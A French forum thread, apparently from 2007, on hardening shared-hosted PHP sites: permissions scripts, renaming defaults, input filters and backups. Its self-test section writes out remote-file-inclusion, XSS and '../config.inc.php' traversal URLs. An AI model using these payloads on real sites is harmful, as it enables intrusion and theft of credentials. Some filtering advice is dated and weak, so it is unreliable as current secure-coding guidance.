?>
Ainsi, vous pouvez occulter toutes les informations sensibles.
Et attribuez par FTP les droits 404 à votre fichier config.inc.php (ou équivalent).
Installation d'une base SQL
Lorsque vous installez votre blog, forum, cms, gallery, wiki pour la première fois, il vous propose des réglages et paramètres par défaut que nous acceptons à chaque fois. En cas de faille, le pirate peut utiliser ces réglages et paramètres par défaut pour pénétrer votre base SQL et la modifier.
Voici quelques conseils pour éviter que cette forme d'attaque de type injection SQL soit possible. Il y a plusieurs formes d'injections SQL. La règle 8 du .htaccess en arrête une autre forme. Sinon, la vraie protection contre les injections SQL est une bonne programmation (voir ici (http://forum.ovh.net/showpost.php?p=56320)).
1- Quand vous installez votre blog, forum, cms, gallery, wiki, il vous donne comme login "admin" et vous demande d'entrer un mot de passe. Dans la mesure du possible, changez "admin" pour autre chose, un pseudo par exemple. Un pirate sait que le login par défaut est "admin" et lancera ses scripts uniquement sur le mot de passe. Mais si le login "admin" n'existe pas, il n'a aucune chance de pénétrer le système.
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.
2- Le premier utilisateur est donc l'administrateur et il porte toujours le numéro (ou ID) 1. Dans le cas où le login n'est pas "admin", certains scripts peuvent essayer d'avoir le mot de passe de l'utilisateur numéro 1 qui est, dans 99,99% des cas, l'administrateur. Dans la mesure du possible, effacez l'utilisateur numéro 1 sur la liste et soyez l'administrateur portant le numéro 2.
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.
3- Lors de l'installation, votre blog, forum, cms, gallery, wiki vous demande de choisir un préfixe pour le nom des tables. On accepte toujours le préfixe par défaut comme wp_ pour Wordpress, g2_ pour Gallery2, dc_ pour DotClear, phpbb_ pour phpBB, etc. Le pirate peut chercher la table avec la liste des utilisateurs et leurs mots de passe. Si, comme tout le monde, vous n'avez pas changé le préfixe, il lui sera facile de trouver la table. Donc, changez le préfixe de vos tables SQL pour plus de sécurité. Vous pouvez le faire après installation. Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.
Par exemple, avec Wordpress en cas de changement de préfixe après installation, il faut aussi changer 2 entrées dans la base de données en plus du fichier wp-config.php, voyez leurs forums pour savoir comment faire.
Mon conseil: TOUJOURS MODIFIER LES PARAMÈTRES PAR DÉFAUT !
Protéger un dossier avec un mot de passe
Lisez ce guide d'OVH: http://guides.ovh.net/HtaccessProtection
Un conseil: ne mommez pas le fichier contenant le mot de passe ".htpasswd". Ce nom n'est pas obligatoire. Vous pouvez l'appeler comme vous voulez, par exemple ".htmotdepasse". Le pirate ne trouvera pas de fichier ".htpasswd" car il est nommé autrement !
Connaître les informations techniques sur son hébergement
Utilisez cet excellent script d'administration pour avoir des informations utiles sur votre hébergement http://forum.ovh.net/showthread.php?t=14627
Spécialement développé par un client d'OVH. Il vous donne aussi accès à un pseudo-ssh (attention à la sécurité, lisez le fichier).
Nommage de fichiers
Pour éviter que les robots des pirates ne vous trouvent grâce à Google, changez certaines habitudes et notamment le nom et l'URL de certains fichiers.
1- N'appelez pas la page de votre formulaire de contact: contact.php ou contact.html. Appelez là autrement comme "courrier", "missive", etc. Les robots spammeurs auront plus de mal à trouver un formulaire de contact à pirater pour envoyer des spams grâce à une faille de votre script d'envoi de mail.
Faites la même chose avec d'autres fichiers: pas de login.php (admin.php est bloqué par défaut chez OVH), download.php (on va chercher la faille pour télécharger un fichier hors de son répertoire), etc. En règle général, évitez ces mots anglais trop répandus.
2- Les spammeurs ne sont pas idiots. Changez aussi aussi certains noms du formulaire. Dans les balises html INPUT, changez l'attribut NAME qui contient des mots comme "e-mail" "mail", "name" ou "subject" par leur équivalent en français (courriel, nom, sujet). Faites ce changement dans le formulaire HTML et dans votre script php ou cgi.
3- Évitez de donner le nom de votre blog, forum, cms, gallery, wiki directement dans l'URL comme: www.domaine.tld/phpbb/ ou www.domaine.tld/gallery/ ou www.domaine.tld/blog/ ou www.domaine.tld/forum/ ou www.domaine.tld/admin/. Les spammeurs et piratent cherchent ces URL à cibler pour une attaque. Soyez plus original pour votre sécurité. Le mieux est d'éviter le mot anglais et de préférer son équivalent en français.
Le fichier robots.txt
Vous connaissez le rôle du fichier robots.txt? http://www.robotstxt.org/
On utilise ce fichier pour interdire à un moteur de recherche d'indexer un dossier ou un fichier.
Mais ne déclarez pas dans ce fichier robots.txt un répertoire ou un fichier qui doit rester secret non seulement des moteurs de recherche mais aussi des pirates !! Tout le monde peut lire le contenu du fichier robots.txt et donc trouver l'adresse de votre dossier/fichier secret.
Pour garder un dossier à l'abri des regards des robots indexeurs et des pirates, il est plus efficace de le protéger avec un mot de passe htaccess http://guides.ovh.net/HtaccessProtection
Etienne62
13/08/2007, 02h33
Pour ceux qui codent leur site: empêcher les injections mysql
Il faut toujours vérifier la chaîne avant de l'insérer dans votre base de donnée sinon cela pourrait permettre à un pirate de faire pas mal de choses.
Exemple pour sécuriser la variable postée par le visiteur "$_POST['chaine]":
$chaine = mysql_real_escape_string(htmlspecialchars($_POST['chaine]));
Protégez vos fichiers style.css et index.php
Protégez par FTP vos fichiers "style.css" et "index.php" avec les droits 404. J'ai vu un cas de piratage du fichier style.css où le pirate avait modifié ce fichier pour afficher un pop-up.
Protégez aussi par FTP le fichier "index.php" avec les droits 404, car c'est par lui que passe toutes les commandes de votre blog, forum, cms, gallery, wiki.
Un article sur la signification du CHMOD et la signification des numéros. (http://www.toulouse-renaissance.net/c_outils/c_chmod.htm)
Cryptez votre adresse e-mail
Si vous n'avez pas d'autre choix que d'afficher une adresse e-mail sur votre site web, vous avez 2 solutions:
1- Créez un fichier image (gif, png, jpeg) avec votre adresse écrite dessus. Ce n'est pas du texte, les robots spammeurs ne le verront pas.
2- Cryptez votre adresse e-mail avec du javascript. J'utilise cette méthode depuis des années et jamais ces adresses n'ont été spammées. Allez sur ce site web www.aspirine.org pour faire crypter votre adresse.
Pour aller encore plus loin, au lieu d'intégrer ce code à votre page html, on va l'appeler depuis un fichier javascript. L'avantage est que si l'adresse est présente sur plusieurs pages, vous n'avez à faire la modification qu'une fois.
Créez un dossier qu'on appelle "java" et on va y mettre un fichier qu'on va appeler "adresse.js". Copiez dans ce fichier la ligne de code javascript de votre adresse e-mail cryptée qui commence par "var ...". Par exemple:
var g6="";for(var z1=0;z1<335;z1++)g6+=String.fromCharCode(("{fw%}<B\'m3xnmya\'Bwj {tjxztrst%a\'a\'B kjwm%fA,0.a\'a\'1l4 4-jhfqujw3,?tyqnfr,aaBkjw ,ViqyVj755zaajsVnfrtistr5955zaantr,ztjxztrst%Sa\', aa,0.a\'a\'1l4V4-jhfqujw3str@5955}(+ntrCa\',aa,aaBkjwm3xnmya\'By4-jhfqujw3,Cf4AiqyS@j7}(+jsnfrSti.b5`ba\'a\'`1l4S\'@ z5B\'\'@ktw-{fw%u<B5@u<A}<3qjslym@u<0B88.z50B}<3xzgxyw-u<188.3xuqny-\'\'.3wj{jwxj-.3otns-\'\'.@j{fq-z5.".charCodeAt(z1)-(-59+64)+24+39)%(5*2+85)+-45+77);document.write(eval(g6))
Ensuite, dans votre page html, copiez le code suivant:
<script src="java/adresse.js" type="text/javascript"></script>
Bonjour Enycu et merci pour toutes ces précisions.
Dans le cas d"un 90plan et d'un accès SSH via le script Admin'OVH (http://forum.ovh.net/showthread.php?t=14627) de Florentriv, pourrais-tu nous donner un script à exécuter qui réaliserait, à partir de www, l'ensemble des changements des droits d'accès que tu préconises à juste titre ?
Il s'agirait d'un script d'une dizaine de lignes basé sur un find et un exec, mais je ne me rappelle plus la syntaxe exacte.
Merci.
Homer Jay
13/08/2007, 07h56
pourrais-tu nous donner un script à exécuter qui réaliserait, à partir de www, l'ensemble des changements des droits d'accès que tu préconises à juste titre ?
Il s'agirait d'un script d'une dizaine de lignes basé sur un find et un exec, mais je ne me rappelle plus la syntaxe exacte.
Avec GNU chmod, quelque chose comme ça? chmod -R uo=rX,g= .
Merci Hommer Jay,
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.
Homer Jay
13/08/2007, 08h32
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.
Ah oui, tu as raison: pour suivre plus précisément les conseils de enycu, il faudrait ensuite faire quelque chose comme find -name .htaccess -exec chmod 400 {} \;
Enfin, pour chaque fichier qui doit être écrivable par le serveur, faire le chmod qui va bien.
Merci enycu pour tout les infos, j'ai lu et je trouvre vraiment intérresant tout les articles ce sont des geste comme ça qui sauvera nos fichiers sans doute, je vait essaye tout ça merci
bonne continuation
Sparkles
13/08/2007, 11h32
Merci Hommer Jay,
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.
find . | while read f ; do if [ -d "$f" ] ; chmod 500 "$f" ; else chmod 400 "$f" ; fi ; done
ça te convient ?
Automatiser le changement des droits
Changer tous les droits par FTP de tous les fichiers et dossiers peut être long et fastidieux avec le risque d'en oublier. J'utilise ce script pour changer les droits rapidement par SSH.
Connectez-vous en SSH à votre compte (uniquement pour les offres Plan et non pour les offres Start et GP), puis placez-vous dans le dossier "www" en entrant la commande cd www , et entrez les commandes suivantes en une seule ligne (après avoir modifié les noms des fichiers et dossiers selon les besoins):
find . -type f -exec chmod 404 {} \;;find . -type d -exec chmod 505 {} \;;find . -name ".htaccess" -exec chmod 404 {} \;;find . -name "config.inc.php" -exec chmod 404 {} \;;find . -name "fichier-log.txt" -exec chmod 604 {} \;;find . -name "dossier_a_verrouiller" -exec chmod 505 {} \;;find . -name "*upload*" -exec chmod 705 {} \;;find . -name "*.cgi" -exec chmod 505 {} \;
Sinon, voici une autre méthode ligne par ligne qui fonctionne en SSH, ou avec un script qui fait du pseudo-ssh en PHP (pour les offres Start et GP) comme celui-ci: http://forum.ovh.net/showthread.php?t=14627
En mode SSH, mettez-vous dans le dossier www avant de commencer. Avec un script qui fait du pseudo-ssh en PHP, mettez le fichier dans le dossier www et commencez le travail.
On copie une ligne, on appuie sur la touche Entrée, et on copie une autre ligne, on appuie sur la touche Entrée, etc. après avoir modifié les noms des fichiers et dossiers selon les besoins.
Tous les fichiers ont les droits 404 (droit de lecture, aucun droit d'écriture): find . -type f -print0 | xargs -0 chmod 404
Tous les dossiers ont les droits 505 (droit de lecture, aucun droit d'écriture): find . -type d -print0 | xargs -0 chmod 505
Tous les fichiers portant le nom ".htaccess" ont les droits 404 (droit de lecture, aucun droit d'écriture): find . -type f -name .htaccess -print0 | xargs -0 chmod 404
Tous les fichiers contenant le nom "config*.php" (utilisation du caractère joker *) du dossier "blog" ont les droits 404 (droit de lecture, aucun droit d'écriture): find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404
Tous les fichiers php ("*.php" utilisation du caractère joker *) ont les droits 404 (droit de lecture, aucun droit d'écriture):find . -type f -name "*.php" -print0 | xargs -0 chmod 404
Tous les dossiers portant le nom "dossier_a_verrouiller" ont les droits 505 (droit de lecture, aucun droit d'écriture): find . -type d -name dossier_a_verrouiller -print0 | xargs -0 chmod 505
Tous les dossiers comportant le mot upload, comme "123-upload" ou "uploadbidule " ("*upload*" utilisation du caractère joker *) qui se trouvent dans le dossier "forum" ont les droits 705 (droit de lecture et droit d'écriture pour vous et le serveur): find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705
Un article sur la signification du CHMOD et la signification des numéros. (http://www.toulouse-renaissance.net/c_outils/c_chmod.htm)
NOTE: Attention, (août 2007) OVH est en train de changer de filer et les droits 400 ne marchent plus. Donc, il faut revenir à CHMOD 404.
Merci Sparkles et Enycu.
Je préfère toutefois le script d'Enycu.
Toutefois, pour une meilleure lisibilité, je pense qu'il serait intéressant de mettre ces commandes sur plusieurs lignes dans un fichier toto.x que l'on lancerait comme indiqué par enycu.
C'est à dire :
find . -type f -exec chmod 404 {} \;;
find . -type d -exec chmod 505 {} \;;
find . -name ".htaccess" -exec chmod 400 {} \;;
find . -name "config.inc.php" -exec chmod 400 {} \;;
find . -name "./dossier_a_verrouiller" -exec chmod 500 {} \;;
find . -name "*.cgi" -exec chmod 505 {} \;
Est-ce possible ?
Avoir la liste des fichiers modifiés et ajoutés
Voici un petit script php qui vous permet d'avoir la liste des derniers fichiers créés ET modifiés.
Si vous avez été victime d'un piratage, il vous permettra de savoir quels fichiers ont été ajoutés et ceux qui ont été modifiés par le pirate avec la date et l'heure. Ainsi, en comparant la date de ces fichiers modifiés aux logs, vous saurez si la modification est normale ou pas et vous saurez quand et comment le pirate a frappé.
Il sert également à comprendre le comportement d'un script ou d'un CMS, blog, wiki, forum et voir quels fichiers ont été manipulés par ce logiciel.
Copiez le code ci-dessous et créez un fichier texte que vous pourrez appeler par exemple: liste-modif.php
Mettez ce script dans votre hébergement dans le dossier www, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser. Le chemin de fichier doit se terminer par / comme par exemple: /forum/ qui correspondra à /home/votreloginftp/www/forum/
Si vous voulez vérifier tout le contenu du dossier www, cliquez uniquement sur le bouton "Vérifier Fichiers".
Attention, si vous avez beaucoup de fichiers et de répertoires, le listage peut prendre trop de temps et le script peut s'interrompre après 30s d'exécution. Si c'est le cas, essayez votre recherche répertoire par répertoire.
Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement mutualisé chez OVH.
<?php
/*
Donne la liste des derniers fichiers créés ET modifiés.
Très utile en cas de piratage pour savoir quels fichiers sont ajoutés et ceux qui ont été modifiés. Utile pour comprendre le comportement d'un script ou d'un CMS et voir quels fichiers ont été manipulés.
Mettez ce script dans votre hébergement, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser.
Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement mutualisé chez OVH.
Crédits: Les 4/5 du code sont l'oeuvre de Linda MacPhee-Cobb (http://timestocome.com)
*/
$go_back = 0; // affiche résultat ou non
$i = 0; // compteur de boucle
$dir_count = 0; // initialisation de la boucle
$date = time(); // date et heure actuelle
$one_day = 86400; // nombre de secondes pour une journée
$days = preg_replace("/[^0-9]/i",'', $_POST["jours"]); // nombre de jours à vérifier
$path = preg_replace("/[^_A-Za-z0-9-\.%\/]/i",'', $_POST["chemin"]); // chemin de fichier absolu (avec nettoyage contre piratage)
$path = preg_replace("/\.\.\//",'', $path); // on interdit la commande ../
define('ABSPATH', dirname(__FILE__));
$path = ABSPATH.$path; // chemin de fichier absolu de votre compte OVH du genre /home/loginftp/www/ etc.
$directories_to_read[$dir_count] = $path;
// Formulaire pour remonter le temps
print "<html><body><h3>Contrôle des derniers fichiers modifiés <br />dans votre hébergement mutualisé chez OVH.</h3>";
print "<table><tr><td>";
print "<form method=\"post\">";
print "<tr><td>Nombre de jours à vérifier 1-99: </td>";
print "<td> <input type=\"text\" name=\"jours\" maxlength=\"2\" size=\"2\"></td></tr>";
print "<tr><td>Nom du répertoire à contrôler: </td>";
print "<td>".ABSPATH." <input type=\"text\" name=\"chemin\" maxlength=\"80\" size=\"30\" value=\"/\" > (mettre un / à la fin)</td></tr>";
print "<tr><td> </td><td><input type=\"submit\" value=\" Vérifier Fichiers \">";
print "</form>";
print "</td></tr></table>";
// Affichage du résultat
$go_back = $one_day * $days;
print "<br /> Retour sur les <strong>" . ($go_back/$one_day) ."</strong> derniers jours. <br /><br />";
if ( $go_back > 0 ){
print "<table><tr><th>Nom du Fichier</th><th>Date de modification</th></tr>";
$diff = $date - $go_back;
while ( $i <= $dir_count ){
$current_directory = $directories_to_read[$i];
// obtenir info fichier
$read_path = opendir( $directories_to_read[$i] );
while ( $file_name = readdir( $read_path)){
if (( $file_name != '.' )&&( $file_name != '..' )){
if ( is_dir( $current_directory . "/" . $file_name ) == "dir" ){
// besoin d'obtenir tous les fichiers d'un répertoire
$d_file_name = "$current_directory" . "$file_name";
$dir_count++;
$directories_to_read[$dir_count] = $d_file_name . "/";
}else{
$file_name = "$current_directory" . "$file_name";
// Si temps modifiés plus récent que x jours, affiche, sinon, passe
if ( (filemtime( $file_name)) > $diff ){
print "<tr><td> $file_name </td>";
$date_changed = filemtime( $file_name );
$pretty_date = date("d/m/Y H:i:s", $date_changed);
print "<td> ::: $pretty_date</td></tr>" ;
}
}
}
}
closedir ( $read_path );
$i++;
}
print "</table>";
print "</body></html>";
} // if go_back > 0 )
?>
Sécuriser un script PHP
Une note très instructive sur le bon usage du PHP par la Direction centrale de la sécurité des systèmes d'information qui dépend du Secrétariat général de la défense nationale: http://www.certa.ssi.gouv.fr/site/CERTA-2007-INF-002/
Une explication sur la sécurité avec PHP est ici: http://phpsec.org/projects/guide/fr/
Tout d'abord, mettez le paramètre PHP Register_globals sur OFF comme expliqué ici:
http://forum.ovh.net/showpost.php?p=103757
Ensuite, si vous utilisez un petit script en PHP qui traite les données d'un formulaire ou d'une variable dans une URL comme "/index.php?page=23&id=machin" (donc utilisation des requêtes GET ou POST), il faut filtrer ces données pour éviter toute faille.
J'utilise ce bout de code que je mets en tête du script afin de filtrer toutes les données qui y entrent:
foreach ($_REQUEST as $key => $val)
{
$val = preg_replace("/[^_A-Za-z0-9-\.&=]/i",'', $val);
$_REQUEST[$key] = $val;
}
Ainsi ne sont autorisés que les caractères alphanumériques et les signes _ - . & =
Tous les autres caractères sont effacés.
Il existe un autre filtre si celui présenté ci-dessus est trop restrictif:
foreach ($_REQUEST as $key => $val)
{
$val = trim(stripslashes(htmlentities($val)));
$_REQUEST[$key] = $val;
}
Pour protéger une variable précise envoyée par formulaire on peut mettre au choix un des deux filtres ci-dessous (ne pas mettre les 2 filtres pour une même variable):
/* pour un filtrage de base */
$variable = trim(stripslashes(htmlentities($_POST["variable"])));
/* pour un filtrage plus restrictif */
$variable = preg_replace("/[^_A-Za-z0-9-\.&=]/i",'', $_POST["variable"]);
Ceci est une protection générale qui fonctionne contre les formes les plus simples de piratage.
Ne mettez ce code que seulement s'il n'y a aucun système de filtrage.
À partir de PHP 5.2, il existe une série de filtres qui permet de bien cibler le filtrage des données: http://fr.php.net/filter. Deux tutoriels en anglais sont disponibles, le premier ici (http://devzone.zend.com/node/view/id/1113) et le second là (http://phpro.org/tutorials/Filtering-Data-with-PHP.html).
Sécuriser un script PERL
C'est comme pour l'article précédent sur le php. Si vous utilisez un petit script en PERL qui traite les données d'un formulaire ou d'une variable dans une URL comme "/index.cgi?page=23&id=machin" (donc utilisation des requêtes GET ou POST), il faut filtrer ces données pour éviter toute faille.
J'utilise ce bout de code que je mets en tête du script afin de filtrer toutes les données qui y entrent:
$val = $ENV{'QUERY_STRING'};
$val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$val =~ s/<([^>]|\n)*>//g;
$val =~ s/([<>\&\$;:\`\|\"\'*\?\!\~\^\(\)\[\]\{\}]|\\|\.\.|^\/)//g;
D'abord, on décode les caractères non alphanumériques qui sont encodés en url-encoded. Puis, on efface les caractères qui peuvent poser des problèmes comme des balises html et certains signes à la 4e ligne du code ci-dessus.
Ceci est une protection générale qui fonctionne contre les formes les plus simples de piratage.
Ne mettez ce code que seulement s'il n'y a aucun système de filtrage.
Adresses e-mails à éviter
Plus en rapport avec le spam qu'avec le piratage, les adresses e-mails qui ont les préfixes les plus courants sont spammées automatiquement (car ils ont plus de chances d'exister). Donc, évitez de créer des adresses avec les noms suivants:
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@
J'utilisais contact@ et info@ sans jamais les diffuser sur le web, mais le nombre de spams devenaient insupportables. Bref, pour le spam comme pour le piratage, il faut éviter la fainéantise intellectuelle et les paramètres par défaut.
Comment tester la sécurité de mon site web?
Voici 3 méthodes simples qui vous permettront de vérifier si vous utilisez un script avec de grosses failles de sécurité. Avec un filtrage des données entrantes et les conseils donnés dans ce forum, vous devriez être capable de régler le problème. Sinon, pour votre sécurité, changez de blog, forum, cms, gallery, wiki car le développeur ne s'est pas préoccupé de la sécurité.
D'après mes logs, les 3 attaques suivantes représentent la grosse majorité. Ces failles sont si énormes que les pirates les cherchent en premier. Ils sont comme nous, adeptes du moindre effort.
REMARQUE 1: aucun de ces exemples ne vous apprendra à pirater un site. Il en faut bien plus et c'est plus compliqué que ça. Cependant, vous saurez si votre script est mal codé ou non.
REMARQUE 2: Désactivez les règles de filtrages du fichier htaccess proposées ici: http://forum.ovh.net/showpost.php?p=103757 . En effet, ces règles vont stopper la plupart des attaques présentées ci-dessous en vous envoyant une erreur "403 Forbidden". Donc, pour savoir si votre script est faillible, désactivez ces règles et s'il y a une faille, corrigez le script ou installez-en un autre mieux sécurisé.
1- Attaque par exécution d'un script externe:
Créez un fichier texte contenant le code suivant:
<?php
echo "Hackeur vaillant, rien d'impossible !!";
?>
Appelez-le "pirate.txt" et faites-en une autre copie appelée "pirate.php". Puis, par FTP, mettez-les dans le dossier www de votre serveur.
Dans votre blog, forum, cms, gallery, wiki, les URLs ressemblent à ça (à adapter à votre cas):
http://www.votredomaine.tld/index.php?page=123
Remplacez "123" par "http://www.votredomaine.tld/pirate.txt" comme ceci:
http://www.votredomaine.tld/index.php?page=http://www.votredomaine.tld/pirate.txt?
Si vous voyez le message "Hackeur vaillant, rien d'impossible !!" apparaître, alors vous avez un énorme trou de sécurité. Oui, un fichier texte, au lieu d'être lu, a été exécuté en php. On peut faire la même chose avec son fichier php:
http://www.votredomaine.tld/index.php?page=http://www.votredomaine.tld/pirate.php?
On peut aller plus loin. Si le fichier pirate est sur un autre site:
http://www.votredomaine.tld/index.php?page=http://www.autresiteweb.tld/pirate.txt?
2- Attaque par XSS ou Cross Site Scripting:
On utilise le javascript pour prendre le contrôle de votre blog, forum, cms, gallery, wiki.
Vos URLs ressemblent à ça (à adapter à votre cas):
http://www.votredomaine.tld/index.php?page=123
On remplace "123" par du javascript. S'il n'est pas filtré, alors c'est piraté. Par exemple:
http://www.votredomaine.tld/index.php?page="><script>alert(/Hackeur vaillant, rien d'impossible !!/)</script>
Ou une autre variante:
http://www.votredomaine.tld/index.php?page=javascript:alert(%22Hackeur vaillant, rien d'impossible !!%22)
Si une fenêtre d'alerte javascript apparaît avec le texte "Hackeur vaillant, rien d'impossible !!", votre site est ouvert à ce genre d'attaque.
3- Faille dans le téléchargement de fichiers:
Cela s'applique à 2 cas:
a) Vous avez un script de téléchargement qui propose à vos visiteurs de télécharger des fichiers. Vous avez mis tous les fichiers à télécharger dans un dossier de votre hébergement, par exemple /home/loginftp/www/download/ .
Votre URL ressemble à ça (à adapter à votre cas):
http://www.votredomaine.tld/download.php?fichier=monfichier.pdf
Si on on modifie "monfichier.pdf" qui se trouve dans le dossier "/home/loginftp/www/download/" par "../config.inc.php" qui se trouve ici "/home/loginftp/www/" comme cela:
http://www.votredomaine.tld/download.php?fichier=../config.inc.php
Est-ce qu'on le télécharge ? A-t-on ainsi les login et mot de passe de votre base de données SQL ? Croyez-le ou pas, mon script de téléchargement le permettait. Donc, on pouvait télécharger n'importe quel fichier de mon site.
b) Vous avez un script PHP qui utilise la fonction include() pour appeler d'autres fichiers. Ces fichiers sont appelés depuis l'URL et non dans le code PHP du script. Par exemple:
http://www.votredomaine.tld/index.php?page=forum.php
Comme ci-dessus, peut-on charger d'autres fichiers? Par exemple le fichier robots.txt:
http://www.votredomaine.tld/index.php?page=robots.txt
Normalement, on ne peut pas voir le contenu d'un fichier PHP car son code est exécuté à la différence du script de téléchargement en a). Donc, ceci devrait donner une page blanche, mais vérifiez-le quand même:
http://www.votredomaine.tld/index.php?page=config.inc.php
Heureusement, sur les serveurs mutualisés d'OVH, la fonction PHP include() ne permet pas d'ouvrir un fichier en dehors de de son réseau interne (pour des raisons de sécurité). Mais cela doit être possible sur d'autres serveurs moins sécurisés:
http://www.votredomaine.tld/index.php?page=http://www.autresite.tld
À cœur vaillant, rien d'impossible est la devise de Jacques Coeur qui vécut au XVe s.
Comme je regrette le temps des pages statiques en html ! est ma devise :p
Se protéger des injections SQL
Explication en français par Visualight pour ceux qui programment un peu:
http://forum.ovh.net/showpost.php?p=56320
Sauvegarder et restaurer son site web et sa base SQL
(Partie 1)
Comme pour votre ordinateur, la conservation d'une copie de sauvegarde de votre site web est impérative. Si un pirate pénètre votre hébergement, il va effacer des fichiers ou pire, en modifier certains, afin de conserver le contrôle de votre hébergement.
C'est pourquoi, après une attaque il faut impérativement effacer le contenu complet de votre site web (il ne doit rien rester) et vider votre base SQL. Avec une sauvegarde régulière, vous n'aurez pas peur de faire cette opération et votre site web redeviendra vite opérationnel.
1- Préparer la sauvegarde du site web:
Ayez toujours sur votre ordinateur la copie de votre site web. Si vous avez installé un blog, forum, cms, gallery, wiki, conservez-en une copie opérationnelle avec les fichiers config, htaccess, les plug-ins, modules additionnels, thèmes, templates et vos modifications.
Si vous mettez votre logiciel web à jour, faites la même chose avec votre sauvegarde.
Si votre site contient un dossier d'upload et des logs, allez les récupérer régulièrement. Pour simplifier cette dernière tâche, le script ci-dessous va faire une sauvegarde au format ZIP d'un fichier de log. Au lieu de télécharger une centaine de petits fichiers textes, tout sera regroupé en un fichier ZIP.
<?php
/*Assurez-vous que le dossier de destination de la sauvegarde est cree. Il peut etre soit dans le dossier www ou ailleurs. Ici nous le mettons ailleurs avec les droits 705 */
/* Modifiez vos parametres */
$uploads = "/home/loginftp/www/uploads"; /* chemin absolu du dossier uploads a sauvegarder sans le / final */
$repsauvegarde = "/home/loginftp/sauvegarde/"; /* chemin absolu du repertoire de sauvegarde */
$zipuploads = "mesuploads"; /* nom du fichier zip de la sauvegarde sans mettre le .zip a la fin */
/* On va mettre 2 dossiers differents dans un meme fichier zip */
/* Modifiez vos parametres */
$logs1 = "/home/loginftp/www/telechargement/logs"; /* chemin absolu du dossier logs des telechargements a sauvegarder sans le / final */
$logs2 = "/home/loginftp/www/session/logs"; /* chemin absolu du dossier logs des sessions a sauvegarder sans le / final */
$repsauvegarde = "/home/loginftp/sauvegarde/"; /* chemin absolu du repertoire de sauvegarde */
$ziplogs = "meslogs"; /* nom du fichier zip de la sauvegarde sans mettre le .zip a la fin */
/* C'est tout. Placez ce fichier par FTP quelque part sur votre serveur Web, dans un endroit discret. */
/* Puis ouvrez-le avec votre navigateur web et suivez les instructions. */
echo "<html><body>";
echo "1. Ce script cree automatiquement une sauvegarde du dossier $uploads \n<br>\n<br>";
echo "Le dossier est en cours de sauvegarde.......\n<br>";
if (system("zip -qr -5 $repsauvegarde$zipuploads $uploads"));
echo "C'est fait. \n<br>";
echo "\n<br>";
echo "2. Sauvegarde des dossiers $logs1 et $logs2 \n<br>\n<br>";
echo "Les dossiers sont en cours de sauvegarde.......\n<br>";
if (system("zip -qr -5 $repsauvegarde$ziplogs $logs1"));
if (system("zip -qr -5 $repsauvegarde$ziplogs $logs2"));
echo "\n<br>";
echo "C'est fini. Vous pouvez recuperer la sauvegarde par FTP dans le dossier $repsauvegarde .\n<br>N'oubliez pas d'effacer ces fichiers de votre serveur par FTP car ils peuvent contenir des mots de passe ou des informations personnelles.\n<br>\n<br></body></html>";
?>
ATTENTION: ne cherchez pas à faire un fichier ZIP de tout votre hébergement, cela risque de ne pas marcher. Il y a 2 raisons à cela: OVH a limité le temps d'exécution d'un script à 30 secondes et la mémoire RAM allouée au traitement du script et à la manipulation des fichiers est limitée en fonction de votre offre d'hébergement (de 8 à 32 Mo, ce qui est insuffisant pour une sauvegarde de votre site web).
Pour connaître ces limites, créez un fichier info.php avec le code suivant:
<?php
phpinfo();
?>
Envoyez ce fichier par FTP, ouvrez-le avec votre navigateur web, et cherchez les lignes: max_execution_time (temps d'exécution du script), memory_limit et post_max_size pour connaître la taille maximum du fichier à traiter.
2- Préparer la sauvegarde de la base MySQL:
La sauvegarde de la base MySQL s'appelle un "dump". On peut la faire depuis votre interface phpMyadmin, ou depuis un script php. OVH maintient 2 sauvegardes de votre base MySQL: la base de la veille (appelée -n) et une autre vieille d'une semaine environ (appelée -s).
a) Sauvegarde par phpMyadmin:
Pour faire une sauvegarde de votre base MySQL actuelle par phpMyadmin connectez-vous à votre interface:
http://pma.ovh.net/
Entrez le nom de la base SQL et son mot de passe, puis en haut de la colonne de gauche, cliquez sur le nom de la base. En haut de la page centrale, cliquez sur l'onglet "Exporter". Puis dans le champ Exporter qui liste toutes les tables, cliquez sur le lien "Tout sélectionner" et cochez le bouton en face de SQL. En bas de la page, cochez la case "Transmettre" et cochez la case "gzippé" pour compresser le fichier qui va être téléchargé, puis cliquez sur Exécuter. Et n'oubliez pas de vous déconnecter une fois finie en cliquant sur l'icône Exit.
Pour faire une sauvegarde de votre base MySQL vieille de 7 jours par phpMyadmin connectez-vous à votre interface avec ce lien:
http://90plan.ovh.net/phpMyadmin/index.php?db=NomDeLaBase-s&server=1&lang=fr-utf-8
Remplacez NomDeLaBase (en conservant le -s qui veut dire base vieille d'une semaine) par le nom de votre base SQL.
Remplacez 90plan par 60gp, start1g, etc., en fonction de votre offre d'hébergement.
Et faites la même chose que ci-dessus. Vous ne pourrez faire aucune modification de cette base, ni l'utiliser en production pour votre site web. Elle ne sert qu'à faire un "dump" (sauvegarde).
b) Sauvegarde par Script PHP.
L'avantage de la sauvegarde par script PHP est sa rapidité et la maîtrise de quelques options qu'on ne peut contrôler avec phpMyadmin, notamment le problème d'encodage des caractères accentués (appelé jeu de caractères). C'est pourquoi je préfère cette solution.
<?php
/* Modifiez vos parametres MySQL */
